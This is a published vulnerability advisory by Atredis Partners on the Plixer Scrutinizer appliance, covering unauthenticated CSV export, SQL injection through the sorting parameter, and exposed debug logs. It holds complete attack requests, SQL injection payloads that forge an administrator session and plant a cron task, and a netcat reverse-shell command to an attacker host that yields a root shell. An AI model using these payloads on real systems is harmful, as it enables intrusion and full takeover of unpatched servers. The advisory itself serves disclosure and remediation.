Skip to content

Latest commit

 

History

History
206 lines (151 loc) · 11.8 KB

ATREDIS-2023-0001.md

File metadata and controls

206 lines (151 loc) · 11.8 KB

Plixer - Scrutinizer Multiple Vulnerabilities

Vendors

  • Plixer

Affected Products

Scrutinizer versions prior to 19.3.1

Summary

The Plixer Scrutinizer appliance is susceptible to a multiple vulnerabilities when processing remote input from an unauthenticated user, leading to administrative command execution.

Mitigation

Customers should upgrade to the version branch that addresses these vulnerabilities (19.2.2/19.3.2). Users should also consider restricting access to the Plixer Scrutinizer administrator interface to protected networks.

Credit

This issue was found by Chris Bellows of Atredis Partners.

References

Report Timeline

  • 2023-07-30: Atredis Partners sent an initial notification to vendor, including a draft advisory
  • 2023-08-05: Vendor confirms receipt of the advisory
  • 2022-08-25: Atredis Partners reports vulnerability to MITRE for CVE ID assignment.
  • 2023-09-15: Plixer releases updates (19.2.2/19.3.2) within their support portal
  • 2023-10-09: Atredis Partners publishes advisory ATREDIS-2023-0001

Technical Details

CVE-2023-41261 - Insufficient Authentication - csvExportReport

The csvExportReport endpoint action generateCSV does not require authentication and allows an unauthenticated user to export a report and access the results. The following request and response examples show how an unauthenticated user is able to export a CSV report:

POST /fcgi/scrut_fcgi.fcgi HTTP/1.1
Host: 192.168.1.240
Content-Length: 1381
Connection: close

rm=csvExportReport&action=generateCSV&rpt_obj={"id":0,"reportTypeLang":"internalExternalSrc","saved":{"name":"aaaaaaa","id":"1"},"filters":{"sdfDips_0":"in_GROUP_ALL"},"reportDirections":{"selected":"x"},"times":{"start":"1683739700","end":"1683739800","dateRange":"Custom"},"rateTotal":{"available":["rate","total"],"selected":"total"},"dataGranularity":{"selected":"auto"},"ipDns":{"selected":"DNS"},"dataFormat":{"selected":"normal"},"orderBy":"countdistinct_sourceipaddress","tableView":{"hidden_cols":["","dddd"],"sorting":"","inbound":{"query_limit":{"offset":0,"max_num_rows":"10"}},"outbound":{"query_limit":{"offset":0,"max_num_rows":"10"}},"maxNumRows":"10"},"graphView":{"types":{"selected":"step"},"graphStyle":{"default":"stacked","available":["stacked","unstacked"],"selected":"stacked"},"graphGranularity":{"default":"medium","available":["low","medium","high"],"sizes":{"low":60,"high":180,"medium":"120"},"seconds":600,"selected":"medium"},"showOthers":true,"colHasBbp":0},"saveGlow":false,"useServerTz":0,"bbp":{"selected":"percent"},"every_column":0,"break_out_by_interface":0,"useTotalsTables":0,"table_only":0,"alternative_time_column":"","dataMode":{"selected":"raw_flows"},"colHasOther":0}&data_requested=%7B%22table_name%22%3A%22xyz%22%7D&direction=inbound&filename=statusReport_aaaaaaa_internalExternalSrc_1683740222572_inbound.csv

Unauthenticated Request to generateCSV

HTTP/1.1 200 OK

{"filename":"statusReport_aaaaaaa_internalExternalSrc_1683740222572_inbound.csv"}

Server Response Returning File Name for the Generated Report

After obtaining the file name, an unauthetnicated user can access the report file under the path /csv/status/:

GET /csv/status/statusReport_aaaaaaa_internalExternalSrc_1683740222572_inbound.csv HTTP/1.1
Host: 192.168.1.240
Connection: close

Unauthenticated Request to Download the Generated Report

HTTP/1.1 200 OK

"","Source","Unique Hosts","first_flow_epoch","last_flow_epoch",
"1","Internal","1.656 k","1683739740","1683739800",
"2","External","1.415 k","1683739740","1683739800",

Server Response Containing Report Contents

CVE-2023-41262 - SQL Injection - csvExportReport

The csvExportReport endpoint action generateCSV is vulnerable to SQL injection through the sorting parameter, allowing an unauthenticated user to execute arbitrary SQL statements in the context of the application's backend database server. In the following request, the sorting parameter is assigned the ATTACKER_CONTROLLED value to demonstrate how that value propogates to a SQL statement executed on the application database server.

POST /fcgi/scrut_fcgi.fcgi HTTP/1.1
Host: 192.168.1.240
Content-Length: 1381
Connection: close

rm=csvExportReport&action=generateCSV&rpt_obj={"id":0,"reportTypeLang":"internalExternalSrc","saved":{"name":"aaaaaaa","id":"1"},"filters":{"sdfDips_0":"in_GROUP_ALL"},"reportDirections":{"selected":"x"},"times":{"start":"1683739700","end":"1683739800","dateRange":"Custom"},"rateTotal":{"available":["rate","total"],"selected":"total"},"dataGranularity":{"selected":"auto"},"ipDns":{"selected":"DNS"},"dataFormat":{"selected":"normal"},"orderBy":"countdistinct_sourceipaddress","tableView":{"hidden_cols":["","dddd"],"sorting":", ATTACKER_CONTROLLED","inbound":{"query_limit":{"offset":0,"max_num_rows":"10"}},"outbound":{"query_limit":{"offset":0,"max_num_rows":"10"}},"maxNumRows":"10"},"graphView":{"types":{"selected":"step"},"graphStyle":{"default":"stacked","available":["stacked","unstacked"],"selected":"stacked"},"graphGranularity":{"default":"medium","available":["low","medium","high"],"sizes":{"low":60,"high":180,"medium":"120"},"seconds":600,"selected":"medium"},"showOthers":true,"colHasBbp":0},"saveGlow":false,"useServerTz":0,"bbp":{"selected":"percent"},"every_column":0,"break_out_by_interface":0,"useTotalsTables":0,"table_only":0,"alternative_time_column":"","dataMode":{"selected":"raw_flows"},"colHasOther":0}&data_requested=%7B%22table_name%22%3A%22xyz%22%7D&direction=inbound&filename=statusReport_aaaaaaa_internalExternalSrc_1683740222572_inbound.csv

Unauthenticated Request to generateCSV with sorting set to ATTACKER_CONTROLLED

When a request to generateCSV is processed, the following query is executed by the database:

/* Get top x over all */                                
SELECT  min(conv.intervaltime) as first_flow_epoch,max(conv.intervaltime) as last_flow_epoch, max(conv.intervaltime) as 
  intervaltime,   
  conv.srcinternal,
  /*  conv.sourceipaddress, conv.srcinternal */
COUNT(DISTINCT sourceipaddress) AS countdistinct_sourceipaddress
FROM plixer_temp.rtt0x52f1f59af05511edbc4b2012328df036_inbound as conv
WHERE quantize( conv.intervaltime, 600 ) IN( 1683654000,……,1683739800 )
GROUP BY   conv.srcinternal
ORDER BY countdistinct_sourceipaddress , ATTACKER_CONTROLLED
NULLS LAST
LIMIT 10 OFFSET 0

SQL Statement Executed by the Database When Processing generateCSV Requests

As shown in the preceeding SQL snippet, the ATTACKER_CONTROLLED value is inserted into an ORDER BY statement without validation or sanitization resulting in classic SQL injection. This vulnerability can be leveraged to to perform a variety of attacks such as the impersonation of an administrator user. Following is an example attack where new administrator session is inserted into the application database with a sessionid cookie value of 1337133713371337:

"sorting":" ,(SELECT 1 FROM dblink((select 'host=localhost user=plixer'), E'insert INTO plixer.sessions (session_id,user_id,auth_method,login_ts,update_ts) values (\'1337133713371337\',1,\'unpossible\',1683669820,1683847185)') RETURNS (result TEXT))--",

sorting Parameter with SQL Injection Attack to Insert an Administrator User Session

After the application executes the SQL injection statement, an unauthenticated user is able to access authenticated actions such as checkSession by including a sessionid cookie with the injected value of 1337133713371337 to impersonate an administrator:

POST /fcgi/scrut_fcgi.fcgi HTTP/1.1
Host: 192.168.1.240
Cookie: cookiesenabled=1; seenSkinModal=1; userid=1; sessionid=1337133713371337;
Connection: close
Content-Length: 31

rm=authInit&action=checkSession

Accessing checkSession as an Administrator

HTTP/1.1 200 OK

{"session":1}

Server Response Confirming Authenticated Administrator Access

In addition to impersonating privileged users, it was also possible to execute arbitrary commands on the system by injecting into the tasks database table. Entries in the tasks database table consist of system commands that can be executed on application server. To demonstrate the ability of an unauthenticated user to obtain remote command execution, the following payload was used to insert the command sudo /bin/nc 192.168.1.239 443 --ssl -e /bin/sh with a task identifier of 7777:

"sorting":",(SELECT 1 FROM dblink((select 'host=localhost user=plixer'), E'insert into tasks values (7777,\\'myTaskName\\',\\'sudo\\',\\'[\"/bin/nc\",\"192.168.1.239\",\"443\",\"--ssl\",\"-e\",\"/bin/sh\"]\\',0,1,7,\\'plixer\\',\\'2023-05-09 19:00:01.742342\\')') RETURNS (result TEXT))--"

Injecting a Task into the tasks Database Table

Upon successful insertion of the above command into the tasks table, another injection attack was performed to add the task identifier (7777) into the crontab table for execution:

"sorting":",(SELECT 1 FROM dblink((select 'host=localhost user=plixer'), E'insert into crontab values (7777,1152921504606846975,16777215,0,0,0)') RETURNS (result TEXT))--"

Injecting the 7777 Task Identifier into crontab

The injected command directs the nc command on the application server to execute a reverse shell connection to an attacker controlled host (192.168.1.239) on port 443. To receive the reverse shell, an SSL-encrypted listener was started on the attacker-controlled host. Upon execution of the crontab task, remote root shell access is granted as shown here:

[$]> ncat -lvkp 443 --ssl
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: E513 F332 FE13 0B3B 0E04 DE04 E7FD A13B 038B 3812
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.168.1.240:59542.
id
uid=0(root) gid=0(root) groups=0(root)

Remote root Shell from Injected Task

CVE-2023-41263 - Debug Content Exposed

The Plixer Scrutinizer application also exposes debug logs to unauthenticated users at the /debug/ URL path. Debug logs are stored in this directory with the format IPADDRESS_ERROR_source.txt, for example 192.168.1.240_ERROR_json_resp.txt. With knowledge of valid IP addresses and source types, an unauthenticated attacker can download debug logs containing application-related information as demonstrated in the following request and respnse examples:

GET /debug/192.168.1.240_ERROR_json_resp.txt HTTP/1.1
Host: 172.16.2.143
Content-Length: 2

Unauthenticated Request for a Debug Log

HTTP/1.1 200 OK

---- plixer_fcgi_get_known_objects (PID: 9849) --------------------Fri Sep 24 13:20:46 2021--------------------
Called from: Plixer::Scrutinizer::FastCGI::Modules::Json::json_resp line 40
Called from: Plixer::Scrutinizer::FastCGI::WebApp::run line 1226

40: Not a valid json obj:1 rm:get_known_objects
---- plixer_fcgi_get_known_objects (PID: 9709) --------------------Fri Sep 24 13:20:46 2021--------------------
Called from: Plixer::Scrutinizer::FastCGI::Modules::Json::json_resp line 40
Called from: Plixer::Scrutinizer::FastCGI::WebApp::run line 1226

40: Not a valid json obj:1 rm:get_known_objects

Server Response Containing the Contents of the Requested Log File

In addition to debug log files with the json_resp source type, the following types of debug logs were also accessible without authentication:

  • get_default_or_first_map
  • get_distributed_tables_from_collectors
  • parseUrlFilter
  • run
  • columns_from_templates
  • get_default_or_first_map
  • get_distributed_tables_from_collectors
  • parseUrlFilter
  • report_get_finish_data
  • return_menu